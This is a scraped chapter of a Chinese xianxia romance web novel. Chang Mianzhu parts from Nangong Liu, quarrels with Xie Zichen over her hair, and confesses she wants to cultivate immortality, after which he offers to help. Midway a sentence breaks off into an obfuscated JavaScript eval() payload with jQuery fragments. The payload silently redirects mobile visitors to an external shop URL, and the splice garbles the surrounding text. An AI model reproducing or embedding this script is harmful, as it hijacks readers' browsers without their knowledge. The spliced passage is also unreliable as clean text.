文趣网 > 其他小说 > 仙君,你不是我的梦中情人 > 6. 梅开二度
    寻找尘音仙君小分队没有像常绵竹想的那样长久。

    她上仙界半月后,南宫流要回凡界了。她和谢子真一起去两界交接阵法处送人,不死心问:“就不能不走吗?你和我们一起找到尘音仙君,肯定少不了好处的。”

    南宫流伸了个懒腰:“我不喜欢仙界,爱在凡界玩。仙界的人都太没人情味,我修行,只是为了一直享乐。”

    她很舍不得,这半月来三人是一齐走遍仙界的。谢子真从前话还多些,这半月话越来越少,她只能和南宫流说更多话。

    在她心里,三人已经是朋友了,设想中也是三人一起找到尘音仙君,让尘音仙君一同赏二人天材地宝。

    “那赏你……灵石?你不是很缺喜欢?”这半月来,他们还一起去了魔属,比妖属更血腥难对付的地方,灵石报酬也更多。那天南宫流是抱着灵石睡的。

    南宫流有些哭笑不得,对上谢子真乌黑的眼珠子,他的笑意立刻收了回去。

    “放心吧,我走了谢……倒也不用谢天感地担忧,他不会把你扔走的。以我多年的经验观察,一旦超过三日,陈日历仙长就会是个非常有责任心的人,他不会把你赶下界的。我上界就是怕他带你两天就把你踹了,让你孤苦无依。玩也玩够了,我该走了。”

    南宫流没和谢子真道别。修士的一生中,百年不见也是常有的。

    他挥挥手,迈入下界阵法:“绵竹啊,我也不是死了,总会再见的。”

    常绵竹有些怅然若失,她和很多人分别的时候都听过这句话,只是却再也不见。看着南宫流潇洒的背影,这半月来玩得太开心,此刻她后知后觉地想起,若是找到尘音仙君,自己也成了修士,有一天是否也能这样泰然的接受离别。

    她压下自己心底蔓延的情绪,转过身面对谢子真时已经又是平日那副笑脸:“陈日历仙长,我们该出发找仙君了吧?”

    谢子真鼻腔里哼出一声:“变脸这么快,他知道你这么虚情假意吗?”

    常绵竹有些不好意思,伸手想挠一挠头。手触碰到头发后,她一下就忘了自己想要说什么:“哎呀……嗯?忘记一个重要的事了。日历日历,你能帮我一个忙吗?”

    谢子真一边眉毛轻挑:“说吧。”

    “我不会梳望仙发髻,平日都是明雅给我梳的。”

    谢子真的视线随着常绵竹的话音一齐落下,他也才发现,常绵竹今日是随手挽的头发。

    一根素簪绕了个简单的环,倒也素雅。谢子真觉得,这样的常绵竹其实更有几分别样的美。

    但偏偏,常绵竹的衣裳不配合。

    她今日穿得淡粉色圆领轻薄小衫,下身是鹅黄色灯笼裤,配色明亮和活泼,和人倒是相称,只是和发式并不相配了。

    常常栖落在常绵竹头上那只蝴蝶像是对这朵花失去了兴趣,飞去了别的地方。

    确实可惜。

    谢子真:“我不会梳发髻。你不会为什么要解了。”

    他记得,昨天常绵竹头上还顶着一只天青色蝴蝶。

    前天是碧蓝色,大前天……记不太得,但也是有的。

    常绵竹像是听到了什么难以置信的话,眨了好几下眼:“不可能吧,南宫手一抬就帮我梳好发髻了。”

    谢子真的修为比南宫流要高深,这是南宫流斩钉截铁地认定过的事情。

    谢子真顿了会,抬手摸了摸常绵竹的头发:“这些天都是他给你梳的?”

    “是啊,”她点头,“南宫不愧是小风流,还帮我挑首饰呢。”

    谢子真摸着她的头发,却不动了,低垂着眼不知道在想些什么。

    常绵竹晃了晃头,催促道:“是不是很简单,想起来了嘛?”

    谢子真放下手中的那缕头发,脸色平静地唤出了飞船:“我不会。你和他的关系倒是好得很,再给你一个月,估计你和他都比我和他好了。”

    常绵竹追上白玉船:“怎么可能不会?真的很简单,你看啊——”她的手依葫芦画瓢,循着记忆里南宫流的动作,“这样这样,然后这样。”

    谢子真欣赏完她的表演,摇头:“我不会。”

    他的手学着常绵竹动起来。

    “我只会这个。”

    常绵竹看着头发飘起来,“哇”了一声,喜滋滋地从储物袋里掏出铜镜,“我就说……啊!”

    铜镜里的女子面容扭曲,神色惊恐:“什么!这鸡窝头是怎么回事!”

    谢子真舔了舔自己的唇,摊手无害道:“都说了我不会。”

    常绵竹:“那你快给我变回去!”

    谢子真:“学艺不精,你等南宫下次来给你变回去吧。”

    常绵竹气得脸都憋红了,她算是看出来,谢子真这是故意的。想了半天,终于回想起上仙界第一天时谢子真说过的话。

    “你自己说的,你带我来的,你合该把我照顾的舒舒服服!”她抓了抓头发,“你快去学这个术法!”

    谢子真:“我觉得挺好看的。”

    确实算不上鸡窝头,谢子真不懂那些头发是怎么绕的,干脆就给都绕在了一起,盘成了一坨。

    常绵竹深呼吸,再呼吸,微笑道:“好,不说头发。日历仙长大人,你带我上界,是找尘音仙君的,对吧?”

    被头发的事一打岔,她差点忘记了自己本来要说的话。

    谢子真听了这话,脸色彻底冷了:“世间这么大,美好的事情太多,你为什么非揪着一个虚幻的人不放。纵使是真,他也失约了。”

    “你立了心誓的!”她提醒他。

    上界前,谢子真在常老爷和常夫人面前立了心誓。

    “若不带常绵竹找到尘音仙君本人,就魂飞魄散。”

    大骊国师也在场,吃过柳公子的教训后,这次心誓非常正规。

    谢子真:“哦,立了就立了。”

    他不想再搭理常绵竹,闪身回了二楼。

    常绵竹无能狂怒,对着铜镜和头发奋战。

    念念有词地安慰自己:“解决一个是一个,由易至难,由易至难……”

    *

    谢子真不和常绵竹说话了。

    次日常绵竹醒来时,桌上放了早膳。她跑到楼上,谢子真房门紧闭,任她怎么敲也不开。

    常绵竹敲累了,登登登跑回自己屋内,将早膳狼吞虎咽。

    有了体力,又跑回了二楼。

    用行动证明她有的是力气和耐心。

    谢子真是可以用隔音法阵屏蔽她的,但怕人饿死,只能忍受着噪音。

    等人累了,他还得送顿饭到门口,免得人真的饿死。

    一直到了晚上,常绵竹还立在门口。

    谢子真揉了揉鼻根,觉得她比过往遇到的所有人都要棘手一些。

    门外的常绵竹昏昏欲睡,“哗啦”一声,谢子真出来时正好看见她吊着的脑袋失去支撑力,砸到事先铺好锦被的地上。

    揉着眼睛抬头的人大有他不出来就长睡于此的打算,看上去又可怜又好笑。

    谢子真无声轻叹,开口却不留情面:“你为什么就非得想着他。你的世界就只有嫁人这一件事么?我带你转遍仙界,不是为了你还想着这一件事。”

    他语气里的讽刺太盛,常绵竹被说得炸毛,一下就清醒了。

    站起身呲牙咧嘴道:“看不起我?我也是有上进心的!”

    谢子真没在听,目光瞥向她的头发,脑袋里无端想些有的没的,再气下去,这头发是不得竖起来。

    念头一出,便浮想联翩面前人头发倒立的场面。他没忍住笑出声,抬手解了常绵竹的发髻。

    常绵竹气得手脚并用:“什么意思?你有没有在听我说话?我也是有上进心的,你瞧不起谁呢!”

    谢子真:“哦哦哦,知道了。”

    长发垂落,人还是怒的,发尾安安分分的躺着,没有如他想象般竖立。

    常绵竹跺了跺脚,连头发解了都顾不上,瞪着他:“天天就知道哦哦哦,你干脆叫陈哦哦得了。等我上进心实现了,一定把你踩在脚底下!”

    谢子真:“哦——听起来很不错,愿闻其详你的上进心。”

    常绵竹:“……”

    愿闻就愿闻,拖长这语调是为何。

    “仙君光风霁月,修为高深,别说女子,便是男子也心向往之。我有这个机缘,为何要放弃?但是我也不全是为他啊。”

    常绵竹紧张地咽了咽口水,心里很是忐忑。真要实诚说出来,她的想法实在是不太光彩。可她也不想被看扁了,其实细想下来,这个想法也不算太不光彩。她喜欢尘音仙君,和想借尘音仙君修仙并不冲突吧?

    谢子真看着她的眉毛来回摆动,一下竖起一下倒下,胸腔有些闷闷的。

    他实在想不出常绵竹找自己和上进心有什么关联,她梦里那个人和自己的性格差异很大么?自己一个真仙君带她跑上跑下,为何她就有这般多的借口要找人。

    或许,换一张脸,她依旧会喜欢上那只梦妖。

    在他忍不住萌生把人送回去的念头时,常绵竹右手握拳,狠狠在空中向下捶了一下。

    “嗯,我实话和你说吧,其实我是那种很有心机的人,我可不是什么好东西!”

    谢子真看了眼常绵竹的乱糟糟的头发,清澈藏不住事的双眼,又看了眼她宽肥的鹅黄灯笼裤。

    眉头皱得更深,眼里满是疑惑,实在没把她和她口中那个心机

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17889199|212689||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    坏东西联想起来。

    落在常绵竹眼里,她以为人被自己唬住,皱眉是表示考量忌惮的意思。

    她扬起脖子,双手叉腰道:“满意了吧!我就是一个心眼多的坏女人!”

    谢子真还是没说话。

    常绵竹骄傲道:“有没有觉得我特别有野心,不择手段,必成大业。你带我去找人,不会白费功夫的,我一定会帮你得到想要的。”

    “所以到底为什么?”

    他等了这么久,常绵竹还是只说了些乱七八糟有的没的。

    谢子真微不可察地叹了口气。

    人果然还是要带在身边,否则真要成为他造得第一次孽了。

    “我这么喜欢尘音仙君,当然也是有所图的!”常绵竹哼道。

    常家是大骊第一富商,在九州都极富盛名。府中都是肉体凡胎,整个府上却是法阵无数。

    夏天日头毒辣,她却从不知炎热为何物。

    府里有凡器夏日清,小小一个在府上四处散落,便可隔绝外头的滚滚热浪。

    修仙一道,真是奇之又奇。

    她这般盼着尘音仙君,为的也是这“奇”一字。

    幸得丰厚家底,常绵竹自小便享受着修士灵力的好处。

    不幸得是,受着这样的好处,在她眼里,修士无所不能,令她心向往之。

    十岁时,仙界有个老头云游至大骊京城,常家愿出一金阶法器,请他收她为徒,老头却死活不肯带她一并走。

    “小娃娃,你天资极差,整个凡界仙界我再没看到这么差的了!快死了这条心,享你的荣华富贵罢。”

    他说,常绵竹这辈子都不可能进入练气,更别提筑基了。

    梦见与第一修士结成道侣,这样的缘分可遇不可求。她当然也喜欢他,只是存了自己的小心思,认为这是天赐给自己的转机,纵使再飘渺也要抓住。

    “我,要,修,仙。”常绵竹一字一顿,语调夸张,终于将这几个字说出来了。谢子真等了一会:“就说完了?”

    常绵竹把头扭到了一边:“是啊,这可是天大的难事。我的根骨差到金阶法器也没人愿收我为徒。”

    谢子真真的是被逗笑了,他笑得眼睛弯成月牙,笑得唇角勾起,整张平平无奇的脸都因着笑溢出了些光彩。

    这件事,好像天地间确实只有他一人能做到。都不用细探,常绵竹的根骨,确实很差。

    光彩晃人又晕眼,常绵竹本该恼羞成怒,本是无比窘迫,最后竟只生出了些看呆之意。

    这陈日历,长得其实好像也不赖?

    她的注意力一下又跳走了,没由来道:“都说修士变换身形很容易,你的脸是真的吗?”

    毕竟,谢子真的实力和脾性,都不像是会有一张这样的脸。

    她总是记不住谢子真的脸,话是无意识说的,说完后也有点真情实意地怀疑了。

    常绵竹细细打量了会,没看出所以然。

    谢子真听了她的上进心后,认为她也不算无药可救。没再郁闷自己怎么摊上这么个孽债,心情是真的尚佳。

    “嗯,是假的。”

    “那你长什么样子?”常绵竹凑得近了些,假装深思后,“我们之间还是要坦诚相待吧?你不戴面具,我就原谅你刚才嘲笑质疑我。”

    她觉得这是很合算的,谢子真什么也没损失,自己就大度地原谅了他。

    谢子真扶额,没忍住又笑了,他也懒得去想常绵竹到底有不灵光,呆得真是彻彻底底。

    随手给自己换了张脸:“嗯,不戴面具。”

    谢子真故意加重了“面具”二字,常绵竹果然没听出来,脸上涌上和她一样的笑,当真不生气了。

    “你这个样子,我记得住了。”

    俊朗倒还称不上,脸的棱角更分明些,眼里多了些锐利之气。甚至,眼型轮廓上还有些像尘音仙君一样的桃花眼。

    只是没仙君那样好看。

    常绵竹频频点头,在心里又回味了一遍仙君的容颜。

    “你真正的相貌,是有点高人的样子了。”

    谢子真认同:“嗯,你赞我是高人,高人心情不错。”

    “常绵竹,”他看向她时眼里还剩着些笑,“我助你修仙,如何?”

    常绵竹耳朵一竖,高兴地抬头,眼跟着,一起亮了。

    旋即,又想到老头的话,眉眼暗淡。

    “但是,算了吧。除了尘音仙君,天底下没人再能带我修仙了吧。”

    “资质是有点太差。”

    “是啊是啊,我也不想为难你。”常绵竹耷拉着肩。

    谢子真用气音“嗯哼”了声,不置可否。

    不算为难。